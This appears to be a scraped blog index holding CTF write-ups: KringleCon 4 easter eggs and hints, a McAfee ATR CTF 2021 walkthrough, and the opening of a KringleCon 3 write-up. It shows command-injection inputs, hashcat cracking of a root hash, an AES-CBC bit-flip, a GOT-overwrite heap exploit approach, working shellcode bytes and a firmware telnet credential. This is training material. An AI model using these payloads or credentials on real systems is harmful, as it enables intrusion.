Christmas carol (the 4th day of Christmas for the 4th KringleCon) Castle Entrance The main painting refers to Kringlecon 3 Talks Lobby The music that plays is based on the Wellerman song Jack\u0026rsquo;s Studio We see the presents Jack\u0026rsquo;s offered to Santa\u0026rsquo;s in Kringlecon 3 Jack\u0026rsquo;s Restroom We find Jason (who find new hiding places every year) when flushing the toilets Rooftop Numby Chiblain says \u0026ldquo;Klatu Barada Nikto!\u0026rdquo; which is a reference to the 1951 movie The Day the Earth Stood Still Rooftop The musical notes played by the Speak\u0026amp;Bell are the ones played in Close Encounters of the Third Kind by humans to get in contact with aliens Frostavator We can access a hidden floor by changing the button IDs client side. The room display a big \u0026ldquo;LOL\u0026rdquo; on the floor and an image of a turtle as background. The areas is called \u0026ldquo;__Shenanigans__\u0026rdquo;. The image represents Great A\u0026rsquo;Tuin, the Giant Star Turtle who travels through the Discworld universe\u0026rsquo;s space. The Third Kind The name of the location refers to the Spielberg movie Close Encounters of the Third Kind Objective 2 The objective name refers to Carmen San Diego books, games and cartoons Objective 2 An HTTP cookie is called Cookiepella, which refers to the group Rockapella who took part in a Carmen Sandiego game show Objective 3 The Nidus Thermostat refers to the Google Nest Thermostat Objective 7 One of the printed file refers to the famous book How to Win Friends and Influence People Objective 7 The message follow the white rabbit... is a ref to Matrix and/or Alice in Wonderland Objective 7 The image of a bird on a knob found in /var/spool/birdknob.png Objective 10 The region where the server is located, np-north-1, is a fictional AWS North Pole region Objective 13 The sentence that the doll must say \u0026ldquo;Let me talk to your manager\u0026rdquo; refers to memes found all over the Internet Terminal 5 The game Santa\u0026rsquo;s Holiday Hero game refers to the game Guitar Hero Resources and hints Objective 2 Coordinate Systems - Don\u0026rsquo;t forget coordinate systems other than lat/long like MGRS and what3words. Flask Cookies - While Flask cookies can\u0026rsquo;t generally be forged without the secret, they can often be decoded and read. OSINT Talk - Clay Moody is giving a talk about OSINT techniques right now! Objective 3 Linux Wi-Fi Commands - The iwlist and iwconfig utilities are key for managing Wi-Fi from the Linux command line. Web Browsing with cURL - cURL makes HTTP requests from a terminal - in Mac, Linux, and modern Windows! Adding Data to cURL requests - When sending a POST request with data, add --data-binary to your curl command followed by the data you want to send. Objective 4 Parameter Tampering - It seems they\u0026rsquo;re susceptible to parameter tampering. Intercepting Proxies - Web application testers can use tools like Burp Suite or even right in the browser with Firefox\u0026rsquo;s Edit and Resend feature. Objective 5 https://hak5.org/products/usb-rubber-ducky-deluxe Objective 6 Shellcode Primer Primer - If you run into any shellcode primers at the North Pole, be sure to read the directions and the comments in the shellcode source! Debugging Shellcode - Also, troubleshooting shellcode can be difficult. Use the debugger step-by-step feature to watch values. Register Stomping - Lastly, be careful not to overwrite any register values you need to reference later on in your shellcode. Objective 7 Printer Firmware - When analyzing a device, it\u0026rsquo;s always a good idea to pick apart the firmware. Sometimes these things come down Base64-encoded. Hash Extension Attacks - Hash Extension Attacks can be super handy when there\u0026rsquo;s some type of validation to be circumvented. Dropping Files - Files placed in /app/lib/public/incoming will be accessible under https://printer.kringlecastle.com/incoming/. https://ngrok.com/ https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/#tldr-cheatsheet Objective 8 Kerberoast and AD Abuse Talk - Check out Chris Davis' talk and scripts on Kerberoasting and Active Directory permissions abuse. Kerberoasting and Hashcat Syntax - Learn about Kerberoasting to leverage domain credentials to get usernames and crackable hashes for service accounts. Finding Domain Controllers - There will be some 10.X.X.X networks in your routing tables that may be interesting. Also, consider adding -PS22,445 to your nmap scans to \u0026ldquo;fix\u0026rdquo; default probing for unprivileged scans. Hashcat Mangling Rules - OneRuleToRuleThemAll.rule is great for mangling when a password dictionary isn\u0026rsquo;t enough. CeWL for Wordlist Creation - CeWL can generate some great wordlists from website, but it will ignore digits in terms by default. Stored Credentials - Administrators often store credentials in scripts. These can be coopted by an attacker for other purposes! Active Directory Interrogation - Investigating Active Directory errors is harder without Bloodhound, but there are native methods. Objective 9 GitHub Monitoring in Splunk - Between GitHub audit log and webhook event recording, you can monitor all activity in a repository, including common git commands such as git add, git status, and git commit. Sysmon Monitoring in Splunk - Sysmon network events don\u0026rsquo;t reveal the process parent ID for example. Fortunately, we can pivot with a query to investigate process creation events once you get a process ID. Malicious NetCat?? - Did you know there are multiple versions of the Netcat command that can be used maliciously? nc.openbsd, for example. Objective 10 AWS IMDS Documentation - The AWS documentation for IMDS is interesting reading. https://owasp.org/www-community/attacks/Server_Side_Request_Forgery https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html Objective 11 Evil Bit RFC - RFC3514 defines the usage of the \u0026ldquo;Evil Bit\u0026rdquo; in IPv4 headers. Wireshark Display Filters - Different from BPF capture filters, Wireshark\u0026rsquo;s display filters can find text with the contains keyword - and evil bits with ip.flags.rb. Objective 12 SQL Injection with Source - When you have the source code, API documentation becomes tremendously valuable. Objective 13 FPGA for Fun - There are FPGA enthusiast sites. FPGA Talk - Prof. Qwerty Petabyte is giving a lesson about Field Programmable Gate Arrays (FPGAs). Terminal 2 Grep Cheat Sheet - Check this out if you need a grep refresher. Terminal 3 Boolean Logic - There are lots of special symbols for logic and set notation. This one covers AND, NOT, and OR at the bottom. AND, OR, NOT, XOR - This might be a handy reference too. Terminal 4 IPv6 Reference - Check out this Github Gist with common tools used in an IPv6 context. Terminal 5 Ducky Script - Ducky Script is the language for the USB Rubber Ducky Duck Encoder - Attackers can encode Ducky Script using a duck encoder for delivery as inject.bin. Ducky RE with Mallard - It\u0026rsquo;s also possible the reverse engineer encoded Ducky Script using Mallard. Mitre ATT\u0026amp;CK™ and Ducky - The MITRE ATT\u0026amp;CK™ tactic T1098.004 describes SSH persistence techniques through authorized keys files. Terminal 10 Lever Requirements - Not sure what a lever requires? Click it in the Current Level Objectives panel. Moving the Elf - You can move the elf with commands like elf.moveLeft(5), elf.moveTo({\u0026quot;x\u0026quot;:2,\u0026quot;y\u0026quot;:2}), or elf.moveTo(lever0.position). Bumping into Walls - Looping through long movements? Don\u0026rsquo;t be afraid to moveUp(99) or whatever. You elf will stop at any obstacle. Function Calls - You can call functions like myFunction(). If you ever need to pass a function to a munchkin, you can use myFunction without the (). Terminal 12a Log4J at Apache - Software by the Apache Foundation runs on devices all over the internet Log4j Search Script - Josh Wright\u0026rsquo;s simple checker script uses the power of regex to find vulnerable Log4j libraries! Log4j Talk - Prof. Qwerty Petabyte is giving a lesson about Apache Log4j. Log4j Remediation - Clearing Log4j issues from systems. https://snyk.io/log4j-vulnerability-resources/ Terminal 12b Log4j Discussion with Bishop Fox - Join Bishop Fox for a discussion of the issues involved. Log4j Red Help Document - Josh Wright\u0026rsquo;s help document for the Red challenge. https://solr.apache.org/security.html#apache-solr-affected-by-apache-log4j-cve-2021-44228 https://www.winmill.com/blog/2021/12/27/how-to-test-your-own-vulnerability-to-the-log4shell-attack-chain-in-apache-solr/ ","description":"The fourth edition of Kringlecon! This year challenges were covering webapp hacking (SQLi, SSRF), binary analysis, digital forensics (logs and network capture analysis), Active Directory attacks, learning Python and shellcoding, some encryption attack, analyzing an IMDS service and FPGA programming. Two challenges on Log4Shell were added as well during the challenge.","id":1,"tag":"kringlecon ; holidayhack","title":"KringleCon 4: Calling Birds","type":"posts","url":"https://noobintheshell.com/posts/kringlecon4/"},{"content":" This was the first CTF organized by McAfee Advanced Threat Research Team. It was held from February 5th, 2021 to February 18th, 2021 and was initially made for their internal employees.\nI was able to complete all but one challenge (the crypto One Time Only!) and finished at the 9th place:\nscoreboard Here is my write-up\u0026hellip;\nWEB 100 - A DNS query to rule them all! The web server that hosts this webpage has a flag on it. Can you find a flaw in the webapp to give you the flag? This was the unique web challenge and was a basic command injection. We acces a webpage where we can do DNS queries:\nlanding page A basic request returns the following:\ndns request This look like the result of a script. Behind the scene what is probably done run is something like:\n$ dns_script \u0026lt;input_name\u0026gt; \u0026lt;input_website\u0026gt; So we can try to add ;ls after the website name to try to inject system commands:\ncommand injection That\u0026rsquo;s it, we can read the flag with ;cat flag.txt:\nflag MOBILE 100 - Looking for Droids? The following APK is an application that contains encrypted passwords. Your task, should you choose to accept, is to find the flag in one of these passwords.\nPasswordVault.apk\n We can unzip the APK and then transform the classes.dex file to a jar file with dex2jar:\n$ ./d2j-dex2jar.sh -f -o apk.jar classes.dex We can then use jd-gui to disassemble and view the application source code. The MainActivity.class shows that the application is protected by the password notthefl@g. The password is then store in the SECRET variable and the intent PwdContainer is triggered:\nMainActivity.class The PwdContainer.class shows that multiple strings are decrypted using AES with the password stored in the SECRET variable:\nPwdContainer.class Finally, the AES.class shows that the mode used is AES/ECB/PKCS5Padding and that the key is compose of the first 16 bytes of the password\u0026rsquo;s SHA-1 hash:\nAES.class Now we have all the needed information and we can simply re-use the available code to decrypt all the strings:\n The output contains our flag:\nTimeFly\u0026rsquo;s\nTheAnswerIsNot42\nPassword!\nIlovemymom123\n!drowssaP\n12345\nA=(-b+-SQRT(b^2-4Ac)/(2A)\nMr. Anderson\nCrashandBurn\nababstart\n(GOLDFISH)\nATR[R2D2] \u0026lt;==\nHowdoyouknowMypwd?\npasswordallcaps\nialreadytoldyou\nMyLittlepwny\nqwerty123\nSuper*!\nPlatypus\nGrendalGrendalwho! HW 200 - Shack the Secret A researcher has discovered a file that has been encrypted with AES-128-ECB by an embedded device. The encrypted file has been captured through network analysis and the raw file is called Blob. With no debug ports available on the embedded device, one must extract the encryption key. Luckily, we have captured IC bus traffic while exercising functionality.\nshack_the_secret.tar\n We get 2 shady files in the archive:\nfile types The .logicdata file can be opened with tools like Salae. We open the file in Saleae and select the I2C protocol as the analyzer with the default settings. We see the password in the decoded protocol window:\nSalae The full password is safepasswordcomm. We can now decrypt the blob file with the following openssl command and read the flag:\n$ openssl aes-128-ecb -in blob -d -out flag.txt\n$ cat flag.txt\nATR[HWHackIsFun]3flagrepeats4youATR[HWHackIsFun]Reallypoorcrypto-ECBsnotforfilesATR[HWHackIsFun]\n RECON 200 - A Picture is Worth a Thousand Vulns You\u0026rsquo;ve come across a popular WiFi range extender at the store and decided to make it your next target. Before putting down the cash to buy the thing, you decide to do some recon at home to see if it\u0026rsquo;s worth your time. After all, a good hacker can find out all sorts of things without even opening the box\u0026hellip; The image shows a D-LINK AC1200 Range Extender:\nD-LINK AC1200 Range Extender And we access a webpage with a few questions to answer about the product:\nquestions We find the answer to the first question on a Tom\u0026rsquo;s Hardware product review:\nRTL8197D By looking at the specs of this SOC/CPU, we get the second answer:\nMIPS To get the Linux kernel version we have to download the latest firmware. We can get it here. Make sure to download the firmware (1.03.B07) and not a hotfix.\nAfter unzipping the archive we can analyze the binary file with binwalk:\nbinary file analysis The firmware files are stored in a Squashfs filesystem. We can extract it with binwalk -e DAP1650_FW103WWb07.bin. If sasquatch is installed it will automatically extract the filesystem. If not, we can use unsquashfs to retrieve all the files.\nThe filesystem is found under the squashfs-root folder:\nsquashfs-root We can usually find the kernel version in files like /proc/version or /var/log/dmesg but those files are missing. Another way to find this out is to get the vermagic value from a kernel module:\nkernel version 2.6.30 By looking at the list of binaries in /usr/bin we get the fourth answer:\nwget Finally, to find the password used by telnetd we can search where the deamon is started with grep -Ri telnetd . and we get a hit in /etc/init0.d/S80telnetd.sh:\ntelnetd credentials The username is Alphanetworks and the password is stored in the file /etc/config/image_sign:\nwwapac04_dlob_dap1650get Once we submit all the answers, we get the flag:\nflag FOR 200 - Password in a Haystack You have acquired the Strings (*nix command) output for a file. You know that a user\u0026rsquo;s password is somewhere in the file and need to retrieve it. The username is steve557. Find the password based on the password rules. Only one string will match these rules.\n\u0026ndash; All passwords must be 6-12 printable characters in length.\n\u0026ndash; Each password must contain at least 3 unique digits\n\u0026ndash; Passwords cannot contain 3 consecutive characters of your username nor its reverse. This is case insensitive.\noutput.txt\n The output.txt contains a huge list of possible passwords:\n$ wc -l output.txt\n19242 output.txt We just need to follow the rules in the description to find a unique password. The following Python code does exactly that:\n The ouput is: 1-r-d4-n33dl.\nFlag: ATR[1-r-d4-n33dl] FOR 300 - Not Software, not Hardware I grabbed this file from a Wireshark capture of one of my home devices doing an update of some kind. Can you find the flag?\nMcAfee_CTF.bin\n We analyze the binary file with binwalk:\nbinwalk This is the image of a firmware that contains a squashfs filesystem. This is similar to what we had in A Picture is Worth a Thousand Vulns challenge. The same procedure can be followed to extract the filesystem.\nWe find a hidden folder /root/.secret/ that contains the encrypted flag flag.enc and a README.txt that says:\nThis is the directory where I store all of my encrypted files.\nI encrypt them using: echo \u0026ldquo;secret\u0026rdquo; | openssl enc -aes256 -salt -out file.enc -e -a -pbkdf2 -k \u0026lsquo;PASSWORD\u0026rsquo;\nand decrypt them using: openssl enc -aes256 -in file.enc -out file.txt -d -a -pbkdf2\nP.S.\nI haven\u0026rsquo;t gotten a password manager yet but I know my login password is supper secure so I don\u0026rsquo;t see a need\u0026hellip;\n From this message, we can guess that the file has been encrypted with a system user. Let\u0026rsquo;s look that the /etc/shadow file:\nroot:$6$19yJir3t$DKemu8nRjxvuPbDZdZcdtsJiiVd7zAXN7Q63.eepYT.R0LqsDMYCzwetEO58sPROWiVfhY1Aeu3O3awr57fv50:17994:0:99999:7:::\ndaemon::0:0:99999:7:::\nftp::0:0:99999:7:::\nnetwork::0:0:99999:7:::\nnobody::0:0:99999:7:::\ndnsmasq:x:0:0:99999:7::: Only root has a password set. Let\u0026rsquo;s try to crack it with hashcat and the rockyou.txt wordlist. The hash starts with $6$ which means that it is a SHA512 hash and 19yJir3t is the salt:\n$ hashcat -O -m 1800 -a 0 -o found.txt hash.txt rockyou.txt But we get no result. After having tried with some hashcat rules, we find the right one: leetspeak.rule.\n$ hashcat -O -m 1800 -a 0 -o found.txt hash.txt rockyou.txt -r leetspeak.rule After almost 6h, we get the root password: P@55w0rd!. Maybe I should review the wordlists I use!\nWe can now decrypt the flag with openssl:\n$ openssl enc -aes256 -in flag.enc -d -a -pbkdf2\nenter aes-256-cbc decryption password:\nATR[F1rMW4r315N750H4rD] On macOS, the default openssl is LibreSSL and does not support PBKDF2. Use brew install openssl then make sure to include the binary folder into your PATH. REV 300 - Know your header (part II) When you have solved the second part of \u0026ldquo;Know your Header\u0026rdquo;, you can enter the flag here.\nYou will need to have solved \u0026ldquo;Know your Header (Part I)\u0026rdquo; for this challenge. Use the binary from Part I, named \u0026ldquo;challenge_encoded\u0026rdquo; to solve this.\n To complete this one, we need first to complete the challenge Know your header (part1). We get a challenge binary that is a Linux binary:\n$ file challenge\nchallenge: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=2caaf9304b646a1f86ff892c534aa1483ae6c350, not stripped When we launch, it we get:\n$ ./challenge\nTo decode the flag, run:\n./challenge password_in_hex\nHint: IDA Free and Ghidra are great tools\u0026hellip; So let\u0026rsquo;s open it in Ghidra. The binary is not stripped so it will be easier to analyze. The main function is simple:\nmain() It calls transform_password() and if the returned value is good job!, the flag is printed. The function looks like:\ntransform_password() This is a basic XOR encryption and the key is 0x66. By XORing good job! with 0x66 we get the password. For instance, in Python:\n1 2 \u0026#34;\u0026#34;.join([hex(ord(a)^0x66)[2:].zfill(2) for a in \u0026#34;good job!\u0026#34;]) \u0026#39;01090902460c090447\u0026#39; We can now validate the challenge:\n$ ./challenge 01090902460c090447\n\u0026hellip;transforming 01090902460c090447 to normal string\nDecoded string: \u0001\t\u0002F\n\u0004G\nDecoded password: good job!\nFlag: ATR[(\u0026gt;)xor___xor(\u0026gt;/Z The last 2 characters were not correct, the final flag is ATR[(\u0026gt;)xor___xor(\u0026gt;)].\nREV 400 - Two\u0026rsquo;s Company File me once, shame on you. File me twice, shame on me!\ncrackme\n Let\u0026rsquo;s use again Ghidra to analyze the binary. All is happening in the function FUN_0001124d. Two files are opened and checked. If all the checks pass, we get the message:\n\u0026ldquo;High Fives All Around!\nNow, figure out how to send your solution(s) to the fileserver at http://challenges.ctfd.io:30465/\u0026rdquo; The details of the first check:\ncheck file1 The file1 will be:\n$ xxd file1\n00000000: 460a 4c0a 410a 0a0a 4731 F.L.A\u0026hellip;G1 The second check is:\ncheck file2 The file2 will be:\n$ xxd file2\n00000000: 0046 004c 0041 0000 0000 0047 3200 0000 .F.L.A.....G2...\n00000010: 0000 0000 0000 0000 0000 0000 0000 .............. We upload the 2 files on the server to get the flag:\nFlag: ATR[h5\u0026amp;HTS] RF 400 - Smell like ham to you? You find 3 files of the form #_samplerate_frequency_bandwidth.iq:\n [1_2Msps_50.090MHz_2MHz.iq.tar.bz2 2_xMsps_xMHz_xMHz.iq.tar.bz2 3_xMsps_xMHz_xMHz.iq.tar.bz2 These files were captured over the air via a software-defined radio. You have a suspicion these broadcasts contain valuable information. As such, you have decided to try to determine the contents of each file.\n We start with the first file. We have an IQ file that is the raw data of a radio capture. We have some specs of the signal in the filename. We know that it has been captured at a frequency of 50.09Mhz and than the sampling rate is of 2Msps. We can import the IQ file in Audacity for analysis. Click the menu File -\u0026gt; Import -\u0026gt; Raw Data then simply change the sampling rate to 2Mhz. We play the file and quickly recognize Morse code. We can even \u0026ldquo;see\u0026rdquo; it:\nmorse code The Morse code is:\n... .- \u0026ndash; .\u0026ndash;. .-.. . ..\u0026mdash; .\u0026ndash; .- ... -.-. .- .\u0026ndash;. - ..- .-. . -.. .- - .\u0026mdash;- ....- -.... ..... ..\u0026mdash; \u0026mdash;\u0026ndash; -.- .... \u0026ndash;.. ... .- \u0026ndash; .\u0026ndash;. .-. .- - . ..\u0026mdash; \u0026ndash; Once decoded we get the specs of the second signal: sample 2 was captured at 146520khz samp rate 2M.\nFor the second file, I had some issues importing it correctly into Audacity. Seems like it does not handle high frequencies very well. The solution I found was to convert the IQ file to WAVE with a Windows tool called iqToSharp:\nC:\\\u0026gt; .\\iqToSharp.exe -f 146520000 -i .\\2_xMsps_xMHz_xMHz.iq -o iq2 Back into Aucacity but nothing obvious came out. I played quite a long time with effects until I found out that I could hear some voice when playing it at four times the normal speed. But it was hardly audible and I could not make any sense of it. I exported accelerated sound and I tried some more tools. Finally, another Windows tool, SDRSharp, made it clearer by using the FM mode:\nFM radio signal After playing a little with the frequency, we get the following message:\n\nWe clearly hear:\nthe third file was captured at 7.171Mhz and 2.5Msps The third capture was trickier to get. By searching online, we quickly get that the frequency used is the one used by Slow-scan television (SSTV). We start by converting the IQ file to WAVE:\nC:\\\u0026gt; .\\iqToSharp.exe -f 7171000 -s 2500000 -i .\\3_xMsps_xMHz_xMHz.iq -o iq3 I tried many different tools for this one like Audacity, SDRSharp, qsstv, gnuradio and mmsstv \u0026hellip;and failed for days. In the end, what worked was a combination of gqrx to play the sound and the Android application Robot36 to capture it.\nYou can follow this procedure to install gqrx on an Ubuntu box or use the macOS package. This is the device configuration I used:\ngqrx device configuration The full device string is:\nfile=/path/to/your/file,freq=7171e3,rate=2500e3,repeat=false,throttle=true Then you have to first start the DSP (the start button) before starting the IQ file:\ngqrx usage We start our mobile app in auto mode and play with the frequency in gqrx to find the right spot where we start to see an image. At around 7.1773kHz, the mode switched to Scottie1 and we started to see something:\nSSTV capture The flag is: ATR[SSTV]\nCRYPTO 100 - Light Switch Crypto Here is a 3-way light switch. Look closely, it may help you uncover the secret message! Solve the secretly coded message to capture the flag!\nlight_switch_crypto.tar\n We are given an encrypted flag, a key file and a piece of Python code that we need to complete in order to decrypt the flag. With that, comes an image that explains how the flag is encrypted:\ncircuit We have as well some instructions in the source code:\nsolve_me.py If we take the rules of the circuits one by one:\n Circuit 1 is an OR gate Circuit 2 is an NAND gate Circuit 3 is an AND gate The overall circuits correspond to an XOR gate and the only line we need to add to the magic_func is o = A^B. The output of the script is:\nflag CRYPTO 200 - IVe seen sites like this before This webserver seems to enforce restrictions on users, can you find a way in? The website shows that we don\u0026rsquo;t have enough privileges to access it:\nlanding page The URL we are redirected to is:\nhttp://challenges.ctfd.io:30459/login?iv=f15188446e6e3167\u0026amp;session=bbf6ad986ed574e8949d7b7e9348f38c4d1d93ab85062c3f168b1c82b7279845 In the source code we get some comments that leak that the session ID is based on AES-256-CBC:\n\u0026lt;!\u0026ndash; Changelog \u0026ndash;\u0026gt;\n\u0026lt;!\u0026ndash; 09/15/2018 - Changed from DES to AES-256-CBC after our latest data breach \u0026ndash;\u0026gt;\n\u0026lt;!\u0026ndash; 05/23/2018 - Todd is and idiot and somehow never knows how to login so I have added the encryption IV and the encrypted session to the URL parameters \u0026ndash;\u0026gt;\n\u0026lt;!\u0026ndash; 03/12/2018 - String compare of the users is acting up I found a different way to validate users \u0026ndash;\u0026gt;\n\u0026lt;!\u0026ndash; 02/08/2018 - Moved the default user from root to unprivlaged users. This way only admins can access this page \u0026ndash;\u0026gt; We can try to play with the IV value and flip some bits to see how it impacts the decryption. We can automate this with Burp Intruder and the Bit Flipper payload. We launch the attack and see a call that returns something different. If we look at the response, we see that the UID changed to 0 and we got the flag:\nAES bit flipping attack CRYPTO 200 - Know your header (part I) The challenge was encrypted, but we have the encryption script. Can you figure out the key?\nFor this challenge, the flag is the key to decrypt the next stage \u0026ldquo;Know your header (part II)\u0026rdquo;. The challenge will become available if you solve part I.\nknow_your_header.tar\n We get a few files from the given archive. The README.md says:\nThe next challenge was encoded and we don\u0026rsquo;t know the key.\nWe were able to recover the script used to encode the challenge and a hint binary.\nWhat we know is that it is a Linux binary running on a x64 Ubuntu 18.04.\nMaybe by looking at the encoding algorithm and the hint binary you can figure out how to decode it?\nThe flag for this challenge is the ATR[key] where key is the key you found, in hex, and lower case\n(for example, if the key is 5566778899aabbcc, the flag will be ATR[5566778899aabbcc])\nGood luck!\n We get as well the encrypted binary called challenge_encoded and a hint binary. When launched, the binary outputs:\n$ ./hint\nI do nothing but I still can be helpful\u0026hellip;.\nDid you know all linux binaries have a ELF header ?\nWe all start the same, isn\u0026rsquo;t that cool? The last piece of information is the source code used to encrypt the binary. We get that the key is \u0026lt;=8 characters:\n52 53 54 if (len(key) \u0026gt; 8): print \u0026#34;This version of the encoder only works with short keys\u0026#34; sys.exit(-1) Knowing what the ELF first 8 bytes are, we can simply XOR them with the first 8 bytes of the encrypted binary to get the key. If this does not work, we try with the first 7 bytes..and so on.\nELF header This gives us the key: 9f05a8dd940a15dd. We can try to decode the binary with:\n$ ./encode.py 9f05a8dd940a15dd challenge_encoded challenge And 8 was the right size. The flag is: ATR[9f05a8dd940a15dd].\nThis unlocks the second part of the challenge: Know your header (part II)\nYou are an investigator. Two bad actors have been communicating via encryption. Their names are Nebakanezzer and AcidicZero. They taunt law enforcement claiming they are using unbreakable encryption. You\u0026rsquo;ve managed to come by three encrypted messages. You know for a fact that they\u0026rsquo;ve been using one symmetric key as you\u0026rsquo;ve been watching their communication for some time but unfortunately do not have the key. Your task is to decrypt enough of the messages to extract the flag.\nencrypted_files.zip\n -- PWN 500 - A Winning Attitude This binary has a function named \u0026ldquo;winner\u0026rdquo; which is never executed. Your task is to find a vulnerability in the binary and leverage it to execute \u0026ldquo;winner\u0026rdquo;. When \u0026ldquo;winner\u0026rdquo; is executed the flag will be sent to you.\nchallenges.ctfd.io:30461\nThe link above is running the executable and you can connect to it with netcat. Please use it to retrieve the flag after you get your exploit working on the binary.\nwww_net\n We get an ELF binary with the following protections:\nchecksec Partial RELRO sets the .got section as read-only, however, the section .got.plt (PLT-dependent GOT) stays writable. You can find here a good explanation of those different binary sections, NX sets the stack as non-executable. When we execute the binary, we can send 2 strings and we receive an acknowledgement each time:\nwww_net Let\u0026rsquo;s open the binary in Ghidra. The binary is not stripped so this will be easier to analyze. The main application looks like:\nstatic analysis We have a buffer overflow on the heap. With the first overflow, we have control over the address where the second strcpy call will write. The idea is to write the address of the winner function in place of the address of a system call in the GOT. We can for instance replace the address of puts that is called right after.\nLet\u0026rsquo;s disable ASLR and have a look at the heap with gdb:\nheap status The last information we need to build our exploit is the address of puts in the GOT and of the winner function we have to call:\nGOT puts We can first test the exploit locally. For that we can create a file flag.txt with any content and see if our exploit outputs its content. Then we launch it on the remote service. The full exploit is:\n We finally get the flag:\nremote exploit PWN 500 - Shellcode Hollaback We access the folowing webpage:\nwebpage Ok, so we need to call the store_credentials function located at 0x5555555551b5 and that takes 2 buffers as argument for the username and password. We are on a 64-bit Linux and have a limitation of 64 bytes for the shellcode.\nKnowing that the calling convention for 64-bit is the following:\n first function argument must be stored in rdi, second function argument must be stored in rsi, we come up with the following assembly code:\n1 2 3 4 5 6 7 8 9 xor rax, rax push rax # string end null byte push 0x41414141 # username \u0026#34;AAAA\u0026#34; mov rdi, rsp # first param in rdi push rax # string end null byte push 0x42424242 # password \u0026#34;BBBB\u0026#34; mov rsi, rsp # second param in rsi mov rax, 0x5555555551b5 # store_credentials address call rax To transform this into hex bytes we can use the shell-storm online assembler. We get the following shellcode (33 bytes) that we can pass to the webpage:\n\\x48\\x31\\xC0\\x50\\x68\\x41\\x41\\x41\\x41\\x48\\x89\\xE7\\x50\\x68\\x42\\x42\\x42\\x42\\x48\\x89\\xE6\\x48\\xB8\\xB5\\x51\\x55\\x55\\x55\\x55\\x00\\x00\\xFF\\xD0 We are successful and our credentials were injected into the database. We can log in to get the flag:\nwebpage Flag: ATR[AINTN0H0LLABACKGURL] ","description":"The first public CTF organized by McAfee Advanced Threat Research Team. Noob friendly.","id":2,"tag":"cmd_injection ; apk ; heap ; shellcode ; squashfs ; ham ; sstv ; aes-cbc","title":"MacAfee ATR CTF 2021","type":"posts","url":"https://noobintheshell.com/posts/mcafee_ctf_2021/"},{"content":" The SANS Holiday Hack Challenge is back! And with it, the third edition of KringleCon! This year’s challenges were a good mix of defensive and offensive skills. Topics varied from webapp hacking, crypto, log analysis, binary analysis to improving JS, regex and network skills. There were as well some simulated hardware challenges. The most challenging part was the analysis and recovery of a custom blockchain\u0026rsquo;s block that was stealthily altered. KringleCon is as well an online security conference and you can find all the talks on KringleCon’s Youtube channel. This year was as well introduced a Discord channel that was really great to interact with the community. Who wants to destroy the holiday season this year? Will Santa and his companions be able to stop the villain? I will let you discover it. Here is my write-up for all the challenges of this edition! A special thanks goes to the whole Counter Hack team for their incredible work! That was a blast! Prologue The adventure starts not far from Santa\u0026rsquo;s new castle. We are welcomed by Jingle Ringford who proposes us a gondola ride to Santa\u0026rsquo;s castle!\nStaging area Jingle Ringford:\nWelcome! Hop in the gondola to take a ride up the mountain to Exit 19: Santa\u0026rsquo;s castle!\nSanta asked me to design the new badge, and he wanted it to look really cold - like it was frosty.\nClick your badge (the snowflake in the center of your avatar) to read your objectives.\nIf you\u0026rsquo;d like to chat with the community, join us on Discord!\nWe have specially appointed Kringle Koncierges as helpers; you can hit them up for help in the #general channel!\nIf you get a minute, check out Ed Skoudis' official intro to the con!\nOh, and before you head off up the mountain, you might want to try to figure out what\u0026rsquo;s written on that advertising bilboard. Have you managed to read the gift list at the center? It can be hard when things are twirly. There are tools that can help! It also helps to select the correct twirly area.\n We unlock the first Objective as well as 2 hints to solve it:\n Image Edit Tool - There are tools out there that could help Filter the Distortion that is this Twirl. Twirl Area - Make sure you Lasso the correct twirly area. Objectives 1 - Uncover Santa\u0026rsquo;s Gift List Objective 1 description The image on the billboard shows a document on Santa\u0026rsquo;s desk that has been twirled:\nbillboard image \nWe can un-twirl it with the online tool that was proposed in the hints. We open the image and then start a trial and error exercise using the Filter \u0026gt; Distort \u0026gt; Twirl tool and the Lasso Select tool. The below selection coupled with a 360° twirl did the trick:\nedited billboard image proxmark \nWe can talk back to the elf:\nJingle Ringford:\nGreat work with that! I\u0026rsquo;m sure you\u0026rsquo;ll be able to help us with more challenges up at the castle! We can now board the gondola to meet Santa! This unlocks Objectives 2 to 5 and the first narrative:\nnarrative 1 of 7 At the castle entrance where we are first greeted by Jewel Loggins:\ncastle approach Jewel Loggins:\nWelcome to the SANS Holiday Hack Challenge 2020! Have a great time! Be sure to join us on Discord!\nRemember, you can get hints for each of the objectives in your badge by clicking on elves. If you help elves solve their own technical terminal challenge, they\u0026rsquo;ll give you some ideas about how to approach the objectives.\nOh, and if you see any odd objects lying around, walk over to them to pick them up! You might even find one as you approach the castle!\n We meet as well Santa\u0026rsquo;s and the 3 French Hens: Pierre, Marie, and Jean-Claude:\nSanta and the 3 French Hens Santa:\nHello and welcome to the North Pole! We\u0026rsquo;re super excited about this year\u0026rsquo;s KringleCon 3: French Hens.\nMy elves have been working all year to upgrade the castle. It was a HUGE construction project, and we\u0026rsquo;ve nearly completed it.\nPlease pardon the remaining construction dust around the castle and enjoy yourselves! 2 - Investigate S3 Bucket Objective 2 description The terminal to investigate the S3 Bucket is next to Shinny Upatree in the Castle Approach area:\nObjective 2 location We access a terminal where we need to retrieve a file in a lost AWS S3 Bucket:\nCan you help me? Santa has been experimenting with new wrapping technology, and we\u0026rsquo;ve run into a ribbon-curling nightmare! We store our essential data assets in the cloud, and what a joy it\u0026rsquo;s been! Except I don\u0026rsquo;t remember where, and the Wrapper3000 is on the fritz! Can you find the missing package, and unwrap it all the way?\nHints: Use the file command to identify a file type. You can also examine tool help using the man command. Search all man pages for a string such as a file extension using the apropos command.\n We find a bucket_finder.rb script in our home folder with a short wordlist file:\nkringlecastle\nwrapper\nsanta This is a Ruby script that can be used to discover unprotected buckets based on a custom wordlist. Its usage is pretty simple:\n$ ./bucket_finder.rb wordlist\nhttp://s3.amazonaws.com/kringlecastle\nBucket found but access denied: kringlecastle\nhttp://s3.amazonaws.com/wrapper\nBucket found but access denied: wrapper\nhttp://s3.amazonaws.com/santa\nBucket santa redirects to: santa.s3.amazonaws.comhttp://santa.s3.amazonaws.com/\nBucket found but access denied: santa\n The default wordlist does not discover anything interesting. Let\u0026rsquo;s add some more words based on what we know so far:\npackage\nwrapper3000 The same command shows now a hit for wrapper3000 and shows it contains a file called package:\n$ ./bucket_finder.rb 